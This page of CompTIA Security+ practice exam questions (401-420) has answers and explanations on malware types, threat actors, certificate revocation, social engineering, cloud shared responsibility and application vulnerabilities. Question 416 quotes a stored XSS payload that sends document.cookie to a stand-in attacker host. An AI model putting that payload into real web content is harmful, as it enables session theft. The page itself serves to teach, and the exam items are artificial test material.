All practice questions

2232 questions

Question 401Question

A security team is evaluating testing methodologies to identify vulnerabilities within a newly deployed web application. To satisfy compliance standards, the team must implement security testing techniques that analyze the application while it is actively executing in a target runtime environment. Which of the following assessment methods fulfill this requirement? (Select TWO)

Select all that apply

Show answer & explanation

Answer: Dynamic Application Security Testing (DAST) to evaluate application responses to simulated attacks during execution; Interactive Application Security Testing (IAST) to inspect runtime code execution and data flow using embedded software agents

Answer

The testing methods that analyze an application during active runtime execution are Dynamic Application Security Testing (DAST) and Interactive Application Security Testing (IAST).
Dynamic Application Security Testing (DAST) and Interactive Application Security Testing (IAST) both analyze application behavior in a running state. DAST interacts externally by sending payloads to an active web service endpoint and reviewing HTTP responses. IAST monitors runtime execution internally by combining software instrumentation agents with dynamic testing to observe memory state, database queries, and data flows while the application executes.

Step-by-Step Solution

1
Analyze the scenario requirements
Identified the core requirement: testing methods must analyze application behavior during active runtime execution.
Security assessment tools fall into static, dynamic, interactive, and dependency categories based on whether code executes during analysis.
2
Evaluate candidate testing methodologies
DAST tests from the outside while the application runs; IAST tests from the inside via agent instrumentation while the application runs.
Both DAST and IAST require an executing application instance to perform vulnerability discovery.
3
Differentiate runtime methods from passive or architectural tools
Eliminated static source code analysis (SAST), dependency tracking (SCA), and deception technologies (honeypots).
SAST and SCA analyze unexecuted code/manifests at rest, whereas honeypots are detection mechanisms rather than application vulnerability testing tools.

Key Concept

Runtime Application Security Testing (DAST vs. IAST)
Question 402Question

A system administrator downloaded a third-party system maintenance utility disguised as a performance optimizer. Upon execution, the application created a persistent registry entry under `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, established an encrypted outbound connection to an external IP address, and injected code into system processes to monitor keyboard inputs. Which of the following technical characteristics and indicators of compromise (IoCs) distinguish this threat as a Trojan with spyware capabilities rather than a self-propagating network worm? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Requirement for user execution and reliance on disguised social engineering delivery rather than self-replicating across network vulnerabilities; Unauthorized keylogging and process memory monitoring combined with outbound command-and-control (C2) session traffic

Answer

The correct indicators and characteristics are the requirement for user execution via social engineering delivery, and the presence of keyboard input monitoring combined with outbound command-and-control traffic.
Trojans are defined by their delivery method, which tricks users into executing malicious code masquerading as legitimate software. Spyware specifically focuses on collecting sensitive information such as keystrokes and process activity, transmitting it over outbound command-and-control channels. Both of these differentiate the scenario's malware from self-propagating worms.

Step-by-Step Solution

1
Analyze the delivery and execution mechanism presented in the scenario.
The malware relies on a fake maintenance utility executed by a user, which is indicative of a Trojan rather than an autonomously propagating worm.
Trojans disguise themselves as benign software to trick users into manually executing them.
2
Analyze the observed system and network telemetry artifacts.
Process injection for keyboard monitoring (spyware) combined with persistent registry keys and outbound connections (RAT command-and-control) confirms Trojan/spyware functionality.
Spyware captures sensitive inputs like keystrokes, while RATs maintain persistence and C2 communications.

Key Concept

Distinguishing Malware Types (Trojan vs. Worm) and Identifying Telemetry IoCs
Question 403Question

A healthcare enterprise recently integrated a third-party remote patient monitoring service that communicates via HTTPS with an internal API gateway. During an incident investigation, security analysts discovered that an attacker who obtained a compromised, revoked private key from a former partner company successfully established a man-in-the-middle (MitM) session and exfiltrated sensitive patient records. The API gateway validated that the presented certificate was issued by a trusted Certificate Authority (CA) and had not reached its expiration date, but failed to inspect current revocation data. Which cryptographic control weakness directly allowed this unauthorized session to be established?

Show answer & explanation

Answer: Improper certificate revocation validation failing to check CRL or OCSP endpoints during the TLS handshake

Answer

Improper certificate revocation validation failing to check CRL or OCSP endpoints during the TLS handshake
The correct answer identifies improper certificate validation—specifically the failure to check Certificate Revocation Lists (CRLs) or Online Certificate Status Protocol (OCSP) responses—as the root vulnerability. A digital certificate must be verified against current revocation databases to ensure that stolen, compromised, or prematurely invalidated private keys are rejected during handshake negotiation.

Step-by-Step Solution

1
Analyze the incident details
The attacker utilized a key that was known to be compromised and previously revoked by the issuing CA.
Understanding the attacker's vector reveals that the vulnerability lies within PKI certificate status verification.
2
Evaluate the gateway's validation checks
The gateway confirmed CA signature trust and expiration dates, but omitted checking revocation lists or querying status responders.
A certificate remains accepted despite revocation if the relying party does not query CRLs or OCSP.
3
Identify the underlying cryptographic weakness
The failure to enforce real-time or updated revocation verification allowed the revoked credential to authenticate successfully.
Complete certificate validation mandates checking signature trust, validity period, path depth, and revocation status.

Key Concept

Public Key Infrastructure (PKI) Certificate Revocation Checking (CRL and OCSP)
Question 404Question

A regional water treatment utility discovers an advanced network intrusion. Forensic investigators determine that the threat group maintained undetected persistence within the operational technology (OT) network for over nine months. Rather than deploying ransomware or causing immediate service disruption, the group focused exclusively on collecting SCADA configuration files and mapping control system logic. Which TWO of the following threat actor attributes and vector profiles most accurately describe this incident? (Select TWO)

Select all that apply

Show answer & explanation

Answer: Nation-state threat actor operating with high sophistication, extensive funding, and geopolitical espionage motives.; Supply chain compromise of a trusted third-party software vendor used for remote industrial control maintenance.

Answer

The incident is best characterized by a nation-state threat actor motivated by geopolitical espionage and high-sophistication persistence, along with a supply chain attack vector leveraging trusted third-party software management access.
The scenario describes key indicators of a nation-state actor (Advanced Persistent Threat): high technical sophistication, long-term covert persistence, and strategic reconnaissance against critical infrastructure without financial demands. Furthermore, exploiting trusted third-party maintenance software (supply chain vector) is a primary method for such sophisticated actors to infiltrate air-gapped or segmented industrial control networks.

Step-by-Step Solution

1
Analyze the threat actor motivation and behavior indicators from the scenario.
The prolonged nine-month persistence, lack of financial extortion (ransomware), focus on critical infrastructure (SCADA/OT), and passive intelligence gathering point directly to an Advanced Persistent Threat (APT) backed by a nation-state.
Nation-state actors prioritize strategic espionage, low visibility, and long-term operational access over quick monetary gain.
2
Evaluate the attack vector characteristics suited for stealthy, high-target environments.
Exploiting third-party maintenance vendor software provides an indirect, trusted entry point that evades standard perimeter controls.
Supply chain compromises allow sophisticated threat actors to leverage existing trust relationships and gain deep access into segmented networks.

Key Concept

Threat Actor Attributes and Attack Vectors
Question 405Question

During an incident investigation at a biotechnology research facility, forensic analysts discover that an adversary gained initial network access through a compromised third-party software supply chain, utilized unpublished zero-day vulnerabilities targeting the underlying virtualization hypervisors, and established covert, out-of-band command-and-control channels to exfiltrate proprietary genomic sequencing intellectual property. The intruder maintained stealthy persistence for over ten months without altering system integrity, deploying ransomware, or publishing defacement material. Which threat actor profile MOST accurately aligns with the observed attributes, capabilities, and attack vector?

Show answer & explanation

Answer: A nation-state actor operating with high sophistication, extensive financial resourcing, and strategic espionage intent.

Answer

A nation-state threat actor operating with high sophistication, extensive financial resourcing, and strategic espionage intent.
The correct response identifies a nation-state actor. Advanced attributes such as developing or acquiring zero-day exploits, breaching software supply chains, establishing out-of-band command-and-control, and maintaining multi-month stealthy persistence to steal competitive intellectual property are signature characteristics of state-sponsored threat groups with vast resources and strategic espionage goals.

Step-by-Step Solution

1
Analyze the attack vector and access mechanism described in the scenario.
Initial access occurred via a third-party software supply chain compromise followed by hypervisor zero-day exploitation.
Supply chain compromise and zero-day development require significant technical capability, time, and financial investment.
2
Evaluate the observed operational behavior and threat actor attributes.
The adversary maintained covert access for over ten months, avoided system disruption, and used out-of-band command-and-control communication.
Prolonged evasion, specialized tools, and disciplined operational security indicate high sophistication and state-level resourcing.
3
Assess the adversary's primary intent and motivation.
The exfiltration of proprietary genomic intellectual property without ransom demands or public defacement signals espionage.
Strategic intelligence gathering aligns directly with nation-state objectives rather than financial cybercrime or ideological activism.

Key Concept

Threat Actor Classification and Attribute Identification
Question 406Question

A human resources administrator receives an unexpected phone call from an individual claiming to be a senior IT compliance auditor. The caller asserts that an emergency vulnerability audit of the enterprise payroll database is currently underway and demands immediate provision of temporary administrative credentials to avoid a severe regulatory non-compliance fine. To establish credibility, the caller references specific internal department codes obtained from an employee's public professional profile. Which social engineering technique and combination of influence principles is the attacker primarily utilizing in this attack scenario?

Show answer & explanation

Answer: Pretexting leveraging authority and urgency

Answer

Pretexting leveraging authority and urgency
The correct answer accurately identifies pretexting as the attack mechanism because the adversary builds a fabricated role (an IT compliance auditor) to gain trust and request unauthorized access. Furthermore, the attacker explicitly relies on the principle of authority by posing as an official auditor and the principle of urgency by demanding immediate credential disclosure to avoid regulatory penalties.

Step-by-Step Solution

1
Analyze the attack vector and communication channel
The attack uses direct telephone communication with an fabricated persona (external auditor) and backstory.
Creating a fake scenario to trick a victim into disclosing sensitive credentials is the core definition of pretexting (often delivered via vishing).
2
Identify the primary psychological principles of influence applied
The caller assumes an official compliance auditor role (authority) and demands immediate compliance under threat of fines (urgency).
Threat actors use authority to discourage questioning and urgency to force rapid action before the victim can verify authenticity.

Key Concept

Social Engineering Attack Vectors and Psychological Principles of Influence
Question 407Question

An enterprise organization is migrating its core billing application to a public cloud using an Infrastructure as a Service (IaaS) deployment model. Which of the following security tasks remain the direct responsibility of the enterprise customer within this framework? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Hardening guest operating systems and configuring host-level firewalls; Configuring identity access controls and defining resource authorization policies

Answer

The customer is responsible for hardening guest operating systems and host-level firewalls, as well as configuring identity access controls and resource authorization policies.
Under the cloud shared responsibility model for Infrastructure as a Service (IaaS), the cloud provider manages the physical datacenters, server hardware, and virtualization hypervisors. The customer retains full ownership and operational responsibility for guest operating systems, software patching, host-based security controls, and user access authorization.

Step-by-Step Solution

1
Analyze the specified cloud deployment model
Identified Infrastructure as a Service (IaaS) as the service model in scope.
Under IaaS, the Cloud Service Provider (CSP) manages physical facilities, hardware host infrastructure, and hypervisor software, while the customer manages virtual machines, operating systems, applications, and data.
2
Evaluate operating system and network responsibilities
Selected guest operating system hardening and host firewall management as customer duties.
Because the customer provisions and maintains the virtual machine environment in IaaS, OS patching and local firewall configuration rest entirely on the customer.
3
Evaluate identity and data control responsibilities
Selected identity access management and resource authorization policy configuration as customer duties.
User access management, data classification, and authorization rules remain customer responsibilities across all cloud models (IaaS, PaaS, SaaS).

Key Concept

Cloud Shared Responsibility Model (IaaS)
Question 408Question

A security technician investigating an isolated endpoint alert reviews host telemetry and memory capture files. The triage report indicates that a persistent process executing from `%APPDATA%` invokes the system API `SetWindowsHookEx` to intercept keystrokes, while simultaneously establishing an encrypted reverse shell back-connect over TCP port 443 to a remote host. The process modifies system registry run keys for boot persistence, but shows no network scanning or self-replication capabilities across local SMB shares. Which of the following malware classifications and technical indicators accurately describe this malicious activity? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: The threat exhibits Remote Access Trojan (RAT) behavior by establishing an outbound reverse shell for remote interactive control.; The host telemetry reveals keylogger functionality through the application API hook designed to capture user keystrokes.

Answer

The threat is characterized by Remote Access Trojan (RAT) behavior due to its reverse shell capability, and keylogger functionality indicated by the API hook for keystroke interception.
The scenario highlights two distinct behaviors: establishing an interactive reverse shell (which identifies a Remote Access Trojan) and leveraging input hooking APIs like SetWindowsHookEx to intercept user keystrokes (which indicates keylogger functionality).

Step-by-Step Solution

1
Analyze the telemetry regarding remote control and network traffic.
The persistent process establishes an outbound reverse shell back-connect over port 443, enabling remote adversary interaction, which defines Remote Access Trojan (RAT) functionality.
Identifying the primary operational objective of the network traffic establishes malware categorization.
2
Analyze the process API calls and host artifact telemetry.
The process uses SetWindowsHookEx to hook input events, identifying keystroke logging (keylogger/spyware) capabilities.
API hooking of user input functions directly correlates to keylogging behavior.
3
Evaluate distractor choices regarding propagation and remediation controls.
Worm behavior requires autonomous propagation, which is absent here. Perimeter firewall rules block external communication but do not perform host remediation or registry cleanup.
Differentiating malware propagation mechanisms and selecting proper host eradication versus network isolation controls avoids common operational misconceptions.

Key Concept

Malware Indicators of Compromise (RAT, Keylogger, Trojan vs Worm)
Estimated Time:2m 0s
Question 409Question

A user downloads a free utility program from an unverified website. After executing the installer, the utility operates as advertised, but it secretly opens a backdoor to establish unauthorized remote access for an attacker. Which malware classification best describes this malicious software?

Show answer & explanation

Answer: Trojan

Answer

Trojan
The correct answer is Trojan because this classification specifically refers to malicious code disguised as benign or useful software that requires user execution to deliver its payload.

Step-by-Step Solution

1
Analyze the infection vector described in the scenario
The user manually downloaded and executed a file disguised as a useful utility.
Trojans rely on social engineering and user execution under the guise of legitimate software.
2
Evaluate the hidden functionality of the program
The utility delivers a hidden covert backdoor while carrying out its advertised function.
This dual-nature behavior (beneficial appearance hiding malicious payloads) is the defining characteristic of a Trojan.

Key Concept

Trojan Malware Characteristics
Question 410Question

A system administrator is reviewing a web application's legacy configuration and discovers that user passwords are saved in the database using the MD5 hashing algorithm without any salt. Which cryptographic weakness does this implementation exhibit?

Show answer & explanation

Answer: Use of a collision-prone and cryptographically broken hashing algorithm

Answer

Use of a collision-prone and cryptographically broken hashing algorithm
MD5 is an obsolete, cryptographically weak hashing algorithm that is vulnerable to collision attacks. Storing passwords with MD5 without salting allows attackers to reverse or match hashes easily using rainbow tables.

Step-by-Step Solution

1
Identify the cryptographic mechanism described in the scenario
The system utilizes the MD5 algorithm without salting for password storage
MD5 is a 128-bit hash function widely recognized as weak and obsolete
2
Evaluate the primary vulnerability associated with MD5
MD5 suffers from severe collision vulnerabilities and high speed, making unsalted hashes susceptible to precomputed lookup tables (rainbow tables)
Cryptographic standards dictate using strong, salted key-stretching algorithms (e.g., bcrypt, PBKDF2) instead of broken algorithms like MD5

Key Concept

Cryptographic Weaknesses and Deprecated Algorithms
Question 411Question

A cybersecurity analyst at a software development firm is investigating an incident where unauthorized code was introduced into a production build pipeline. The incident response log indicates two distinct actions taken by the threat actor: first, developers received bogus IT support tickets directing them to re-authenticate at an external single-sign-on domain (`login-company-auth.com`) that mimicked the company's internal portal; second, the attacker uploaded malicious software libraries to a public package repository using names with subtle typographical variations of legitimate internal dependencies (e.g., `core-utils-lib` vs. `core-utiis-lib`). Which of the following social engineering attack techniques were directly executed in this scenario? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Pretexting by creating a fabricated IT support scenario to trick developers into disclosing credentials on a rogue authentication portal; Typosquatting by registering public package names that visually mimic legitimate internal library names to trick developers into pulling malicious dependencies

Answer

The threat actor leveraged pretexting by creating a false IT support scenario to capture credentials, and typosquatting by publishing lookalike software library packages to trick developers during code compilation.
Pretexting is demonstrated by the attacker creating a believable IT support scenario to coerce authentication on a fake portal. Typosquatting is demonstrated by registering public software packages with names that closely mirror legitimate internal libraries to deceive developers during dependency resolution.

Step-by-Step Solution

1
Analyze the first phase of the incident involving fake IT support tickets.
The creation of an false role and scenario (an IT support request requiring authentication) to trick users into performing an action is defined as pretexting.
Pretexting relies on establishing a believable story or context to manipulate targets into providing confidential information or credentials.
2
Analyze the second phase of the incident involving software dependency names.
Registering public dependencies with subtle spelling variations of legitimate internal packages (`core-utils-lib` vs `core-utiis-lib`) is defined as typosquatting (or typosquatting-based supply chain attack).
Typosquatting exploits user typing errors or subtle visual oversights to redirect users or software build scripts to malicious resources.
3
Evaluate and eliminate incorrect social engineering vectors.
Vishing is eliminated because no voice channel was used. Watering hole attacks are eliminated because the attacker did not infect a legitimate public website.
Matching attack vector definitions strictly to the transmission medium and attack method described in the incident logs confirms the correct answers.

Key Concept

Differentiating social engineering vectors including pretexting, typosquatting, vishing, and watering hole attacks in enterprise scenarios.
Question 412Question

An enterprise security operations center is reviewing four complex, multi-stage security incidents involving targeted human manipulation. Match each social engineering tactical delivery technique on the left to the corresponding operational scenario indicator on the right.

Click a left item, then click its matching right item

Items

Reverse Social Engineering
MFA Fatigue (Push Spamming) with Vishing
Watering Hole Attack
Pretexting with Typosquatting

Matches

Show answer & explanation

Answer

Reverse Social Engineering matches the scenario where an adversary causes network disruptions and advertises a fake helpline so victims call them. MFA Fatigue with Vishing matches the scenario involving repeated push notification prompts coupled with an urgent phone call from a fake technician. Watering Hole Attack matches the scenario where a niche vendor technical forum frequented by engineers is compromised. Pretexting with Typosquatting matches the scenario where a lookalike supplier domain and false narrative are used to modify invoice payment details.
Each attack vector is correctly paired based on operational mechanics: Reverse Social Engineering relies on victim-initiated contact; MFA Fatigue combined with Vishing leverages pushed authentication spam alongside voice coercion; Watering Hole attacks exploit trusted industry watering holes/websites; and Pretexting with Typosquatting combines fraudulent role-play with misleading lookalike domains.

Step-by-Step Solution

1
Analyze the tactical delivery methods
Identify key characteristics of Reverse Social Engineering, MFA Fatigue/Vishing, Watering Hole, and Pretexting with Typosquatting.
Matching requires identifying the core delivery vector and psychological levers used in each attack.
2
Evaluate the first scenario involving breakroom flyers and self-initiated victim calls
Map to Reverse Social Engineering.
In reverse social engineering, the target relies on assistance published by the attacker, initiating the contact themselves.
3
Evaluate the second scenario involving compromised niche vendor forums
Map to Watering Hole Attack.
Watering hole attacks selectively infect websites known to be trusted and frequented by the target demographic.
4
Evaluate the third scenario involving off-hours push prompts and phone calls
Map to MFA Fatigue with Vishing.
Push spamming weakens user resistance through repetitive MFA prompts, while voice phishing reinforces the false urgency.
5
Evaluate the fourth scenario involving lookalike vendor domains and executive impersonation
Map to Pretexting with Typosquatting.
Typosquatting provides technical plausibility via lookalike domains, while pretexting builds the false narrative to redirect funds.

Key Concept

Social Engineering Attack Vectors and Incident Indicators
Question 413Question

An IT administrator discovers that network administrators are remotely connecting to core switches over an unencrypted Telnet connection on TCP port 23, exposing administrative credentials to internal network sniffing. Which of the following is the BEST solution to mitigate this host and network vulnerability?

Show answer & explanation

Answer: Migrate all remote management traffic to Secure Shell (SSH) on TCP port 22.

Answer

Migrate all remote management traffic to Secure Shell (SSH) on TCP port 22.
Migrating from cleartext Telnet to SSH ensures all command-line administration and authentication credentials are encrypted in transit, preventing credential harvesting via network sniffing.

Step-by-Step Solution

1
Identify the underlying vulnerability.
Telnet communicates in plain text across the network without encryption.
Cleartext management protocols expose passwords and session data to packet sniffing.
2
Select the appropriate secure protocol replacement.
Secure Shell (SSH) uses strong cryptographic algorithms to secure remote terminal sessions.
Replacing Telnet with SSH directly mitigates credential exposure during transmission.

Key Concept

Replacing insecure cleartext administrative protocols with encrypted protocols like SSH.
Estimated Time:45s
Question 414Question

A critical infrastructure energy provider discovers an undetected intruder within its operational technology (OT) network. Investigation reveals the threat group utilized undisclosed zero-day exploits targeting proprietary industrial controllers, maintained covert persistence for over two years without executing ransomware or financial extortion, and possessed multi-disciplinary capability across hardware and software engineering. Which TWO of the following threat actor attributes and classifications best describe this threat group?

Select all that apply

Show answer & explanation

Answer: Nation-state actor / Advanced Persistent Threat (APT) classification; High sophistication with deep resource funding and capability

Answer

The correct classifications and attributes for this threat group are Nation-state / Advanced Persistent Threat (APT) classification and High sophistication with deep resource funding and capability.
Nation-state adversaries and Advanced Persistent Threats (APTs) are characterized by extreme sophistication, high funding, access to zero-day vulnerabilities, and strategic long-term objectives such as prepositioning within critical infrastructure networks without triggering extortion alerts.

Step-by-Step Solution

1
Analyze the incident details provided in the scenario
Identified key indicators: custom zero-day exploits on proprietary OT hardware, stealthy 2-year persistence, no financial extortion demands, highly strategic target.
Threat actor profiling relies on evaluating observed tactics, techniques, procedures (TTPs), resource levels, and intent.
2
Evaluate actor motivation and capability profiles against the scenario evidence
The profile matches nation-state actors/APTs who possess massive resource backing and focus on long-term cyber espionage or strategic operational positioning against critical infrastructure.
Organized crime or hacktivists seek monetary gain or public notoriety, whereas nation-states prioritize stealth, persistence, and complex capability development.
3
Select the two matching attributes from the available choices
Confirmed Nation-state / APT actor classification and High sophistication with deep resource funding.
Both options accurately describe an adversary capable of zero-day development and prolonged covert operation.

Key Concept

Threat Actor Attributes, Sophistication, and Motivations
Estimated Time:2m 0s
Question 415Question

An enterprise security analyst is designing a vulnerability assessment program for critical hybrid-cloud server infrastructure. The organization mandates that the assessment methods must identify missing host-level OS security patches and detect cleartext sensitive data transfers without sending disruptive synthetic network probes across production subnets. Which TWO of the following vulnerability assessment and testing techniques should the analyst implement? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploying agent-based credentialed scanning tools directly on server instances to audit OS configurations and installed software.; Implementing passive network traffic monitoring to observe data transmissions without generating additional subnet traffic.

Answer

The analyst should implement agent-based credentialed scanning to audit host-level patches and configurations without network probe overhead, along with passive network traffic monitoring to detect unencrypted cleartext data in motion without generating network traffic.
Agent-based credentialed scanning grants direct local access to audit installed patches and OS configurations without sending intrusive network traffic across subnets. Passive network traffic monitoring evaluates network traffic via SPAN/TAP ports to identify unencrypted data without injecting synthetic network probes.

Step-by-Step Solution

1
Analyze host patch auditing requirement without network probe overhead.
Agent-based credentialed scanning operates locally on the target operating system, granting complete visibility into installed patches and registry settings while avoiding disruptive network scans.
Satisfies the requirement for internal patch auditing without high network traffic impact.
2
Analyze unencrypted data transmission requirement without injecting network probes.
Passive network traffic monitoring passively inspects packet headers and payloads from SPAN/TAP ports, identifying unencrypted protocols in transit without generating synthetic probes.
Satisfies the requirement to observe cleartext sensitive data without affecting network traffic.
3
Evaluate and eliminate incorrect distractor options.
Active non-credentialed scanning sends intrusive probes, web application firewalls are inline preventive controls rather than assessment techniques, and honeypots are deception tools rather than assessment tools.
Eliminates techniques that either inject probes, misclassify control types, or misuse deception tech.

Key Concept

Selecting appropriate credentialed, non-intrusive, and passive security assessment methodologies based on operational constraints.
Estimated Time:2m 0s
Question 416Question

A software security analyst is reviewing a web application's API logs and controller implementation following a reported security incident. The backend service processes JSON payloads for user profile updates. An audit log captured the following HTTP POST request body submitted by an authenticated non-administrative user:

{
"account_id": "8492",
"email": "[email protected]",
"role": "administrator",
"bio": "<script>fetch('http://attacker.example/collect?c='+document.cookie)</script>"
}

Upon processing this request, the backend database successfully updated the user's account role to 'administrator' and subsequently rendered the script payload when other users viewed the updated profile page.

Which of the following software vulnerabilities were successfully exploited in this incident? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Mass assignment, which allowed client-supplied JSON properties to automatically bind to internal data model fields without proper field-level filtering.; Stored cross-site scripting (XSS), which allowed an injected script to be persisted in the database and executed in victim web browsers.

Answer

The correct answers are Mass assignment and Stored cross-site scripting (XSS).
The scenario illustrates two distinct application vulnerabilities. First, the application accepted and bound the 'role' JSON attribute directly into the backend domain model without filtering, exposing a mass assignment vulnerability that enabled privilege escalation. Second, the application saved the un-sanitized JavaScript payload in the database and served it to other users, resulting in stored cross-site scripting (XSS).

Step-by-Step Solution

1
Analyze the request payload for authorization and data-binding flaws.
Identified that the payload included a 'role' key set to 'administrator' which modified internal model properties.
When software frameworks automatically map request parameters to object fields without a explicit field whitelist (DTO), callers can modify restricted attributes like user roles via mass assignment.
2
Analyze the request payload for input validation flaws.
Identified an inline JavaScript fetch script enclosed in <script> tags within the 'bio' parameter.
Submitting un-sanitized code that is saved to a persistent datastore and rendered to other users leads to stored cross-site scripting (XSS).
3
Distinguish between client-side script injection and server-side database injection.
Determined that the payload targets browser execution environment (XSS) rather than database engine syntax (SQLi).
XSS payloads execute in victim web browsers to steal cookies or session tokens, whereas SQL injection targets database query parsers.

Key Concept

Mass assignment (over-posting) and stored cross-site scripting (XSS)
Estimated Time:2m 0s
Question 417Question

A political organization's public website was recently defaced with messages promoting a specific social cause. Investigators determined that the attackers utilized low-sophistication web tools and were primarily driven by ideological motives rather than financial profit or state-sponsored espionage. Which of the following threat actor types best describes the perpetrators of this attack?

Show answer & explanation

Answer: Hacktivist

Answer

Hacktivist
Hacktivists are threat actors driven by political, ideological, or social motivations. They commonly use tactics like website defacement to raise awareness for their cause using accessible attack tools.

Step-by-Step Solution

1
Analyze the primary motivation described in the scenario
The primary motive is ideological and social activism rather than monetary gain or national espionage.
Adversary classification depends heavily on primary intent and goals.
2
Evaluate technical sophistication and tactic
The attack involved low-sophistication web defacement techniques.
Understanding resource level and tactics narrows down candidate actor profiles.
3
Match the attributes to threat actor definitions
Hacktivists specifically fit the profile of ideologically motivated actors carrying out public web defacements.
This directly aligns with the CompTIA Security+ threat actor taxonomy.

Key Concept

Threat Actor Types and Motivations
Estimated Time:45s
Question 418Question

A security analyst inspects system configurations and network routing logs for a mission-critical database host following an internal security audit:

[SYS_AUDIT] Host: db-prod-01.internal (IP: 192.168.10.45)
[WARN] Service 'legacy-telemetry-daemon' active on 0.0.0.0:9090
[INFO] Configuration file /etc/telemetry.conf sets AUTH_REQUIRED=FALSE
[WARN] API endpoint provides unencrypted remote memory telemetry dumps via HTTP GET /sys/memdump
[WARN] Host routing table permits unrestricted cross-VLAN traffic from Staging-VLAN (10.20.0.0/16)

Based on the log output and audit findings, which of the following vulnerabilities or architecture deficiencies are directly present in this environment? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Insecure service configuration allowing unauthenticated remote access to system memory resources; Lack of network microsegmentation allowing implicit trust and open routing between staging and production zones

Answer

The correct vulnerabilities are insecure service configuration allowing unauthenticated remote memory access, and lack of network microsegmentation allowing implicit trust across subnets.
The scenario highlights two distinct architecture and host vulnerabilities: first, the telemetry service explicitly disables authentication (`AUTH_REQUIRED=FALSE`) while listening on all interfaces and providing unencrypted memory telemetry dumps over HTTP. Second, the network architecture fails to enforce microsegmentation, allowing unrestricted communication between the staging VLAN and the production database host.

Step-by-Step Solution

1
Analyze the service log entry for host-level misconfigurations
Identified that the daemon listens on all interfaces (0.0.0.0) with authentication disabled (AUTH_REQUIRED=FALSE) and exposes unencrypted memory dump endpoints.
Disabling authentication on network-facing daemons creates an unauthenticated host vulnerability.
2
Analyze the network audit finding regarding routing and VLAN isolation
Discovered that the production database host accepts unrestricted network traffic directly from the staging VLAN (10.20.0.0/16).
Allowing flat cross-VLAN communication between non-production and production environments violates network segmentation and implicit-trust boundaries.

Key Concept

Host Service Hardening and Network Microsegmentation
Question 419Question

A security technician is categorizing host and network vulnerabilities discovered during an enterprise infrastructure audit. Match each vulnerability descriptor on the left with its primary architectural risk on the right.

Click a left item, then click its matching right item

Items

Unpatched Out-of-Band (OOB) Baseboard Management Controller (BMC)
Use of unencrypted SNMPv1 community strings across network subnets
Unauthenticated HTTP access to Instance Metadata Service (IMDS)
Unsupported End-of-Life (EOL) operating system on an unsegmented network

Matches

Show answer & explanation

Answer

Unpatched Out-of-Band (OOB) Baseboard Management Controller (BMC) matches Direct hardware-level control bypassing host operating system security controls; Use of unencrypted SNMPv1 community strings across network subnets matches Interception of telemetry data and management passwords via network sniffing; Unauthenticated HTTP access to Instance Metadata Service (IMDS) matches Temporary cloud identity credential harvesting via Server-Side Request Forgery (SSRF); Unsupported End-of-Life (EOL) operating system on an unsegmented network matches Unmitigated exploit execution enabling rapid lateral movement.
Each host and network vulnerability corresponds to its specific operational impact: BMC management interfaces provide raw hardware control below the OS layer; cleartext SNMPv1 leaks management community strings; IMDS endpoints allow SSRF attacks to harvest temporary cloud security tokens; and unpatched EOL operating systems grant unmitigated exploit opportunities on flat networks.

Step-by-Step Solution

1
Examine the scope and operational layer of each vulnerability listed on the left.
Identified physical out-of-band management controllers, unencrypted management protocols, cloud metadata endpoints, and legacy host operating systems.
Accurate risk classification requires analyzing where each component operates in the enterprise architecture.
2
Correlate out-of-band management (BMC) with low-level hardware risks.
BMCs control server hardware directly and bypass host OS security controls when compromised.
OOB hardware interfaces run dedicated firmware below the main operating system level.
3
Correlate legacy management protocols (SNMPv1) with network eavesdropping risks.
Cleartext transmission permits unauthorized traffic inspection and credential theft.
SNMPv1 does not provide packet encryption or cryptographic authentication.
4
Correlate cloud IMDS endpoints with web/application exploitation vectors.
IMDS exposes sensitive identity role credentials to local application calls, creating SSRF risks.
Cloud instance metadata services reply to unauthenticated HTTP GET requests from internal interfaces.
5
Correlate unsupported EOL operating systems with vulnerability exploitation risks.
Unpatched legacy platforms allow unmitigated exploit execution and rapid network propagation.
Vendors cease issuing security updates for EOL products, leaving known vulnerabilities open.

Key Concept

Host, Network, and Architecture Vulnerabilities
Question 420Question

Match each malware type on the left with its corresponding technical indicator of compromise (IoC) on the right.

Click a left item, then click its matching right item

Items

Ransomware
Keylogger
Logic Bomb
Rootkit

Matches

Show answer & explanation

Answer

Ransomware pairs with mass file encryption and payment demand; Keylogger pairs with keystroke interception and recording; Logic Bomb pairs with dormant code triggered by specific events; Rootkit pairs with kernel-level modifications hiding processes.
Each malware type directly matches its signature telemetry: Ransomware performs bulk file encryption for extortion; Keyloggers record user input; Logic bombs execute based on predefined system triggers; Rootkits alter kernel structures to maintain stealth.

Step-by-Step Solution

1
Examine the operational objective of each listed malware classification.
Identified key goals: extortion for Ransomware, credential harvesting for Keyloggers, conditional malicious execution for Logic Bombs, and deep OS evasion for Rootkits.
Understanding malware objectives reveals their corresponding technical telemetry.
2
Map each malware category to its distinct primary indicator of compromise (IoC).
Ransomware matches file encryption/ransom instructions; Keylogger matches recorded keystrokes; Logic Bomb matches event/time trigger; Rootkit matches kernel obfuscation.
Correlating telemetry traits enables security analysts to correctly identify and mitigate threats.

Key Concept

Malware Classifications and Technical IoCs
PreviousPage 21 / 112Next
All practice questions — CompTIA Security+ | Examkin